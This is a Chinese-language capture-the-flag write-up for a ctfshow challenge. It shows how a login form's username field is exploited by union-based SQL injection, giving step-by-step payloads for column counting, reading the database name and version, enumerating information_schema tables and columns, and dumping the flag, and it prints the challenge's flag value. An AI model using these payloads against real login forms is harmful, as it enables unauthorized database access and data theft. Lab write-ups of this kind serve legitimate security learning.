打开题目链接,是一个登录框,尝试弱口令登录
没什么反应
尝试万能密码登录
页面发生了变化
并未登录进去,但是有回显,大概率是SQL注入了
这里尝试了很久,尝试过程就不写了,最终判断它的注入点在用户名,而不是密码,密码随便输,而且--+的注释不行,这里要用#来注释。
成功闭合之后先判断字段数
' or 1=1 order by 3 #
正常回显
' or 1=1 order by 4 #
无回显,说明只有3列
判断回显位
' or 1=1 union select 1,2,3 #
在2号位
查数据库名
' or 1=1 union select 1,database(),3 #
数据库名为 web2
查数据库版本
' or 1=1 union select 1,version(),3 #
MariaDB,第一次遇见不是在mysql下的
这里说一下,因为mysql 5.0及其以上的都会自带一个叫information_schema的数据库,相当于是一个已知的数据库,并且该数据库下储存了所有数据库的所以信息。
尝试查询数据库名为web2下的所有表名
' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#
发现该数据库下有两个表:flag,user
查询数据库名为web2下表名为flag的列名信息
' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'#
该表下的列名也为flag
直接查该列的具体字段信息
' or 1=1 union select 1,flag,3 from web2.flag #
拿到flag
ctfshow{6ce6e249-b399-480c-ae37-93793eea88e2}
前面我们说过,information_schema这个数据库下面包含了所有数据库的所有信息
我们来获取一下所有数据库的数据库名
' or 1=1 union select 1,schema_name,3 from information_schema.schemata #
mysql数据库、web2数据库以及其他所有数据库的所有信息都会储存在information_schema这个数据库下,这也是为什么我们可以借助information_schema这个数据库来查询到其他数据库的信息。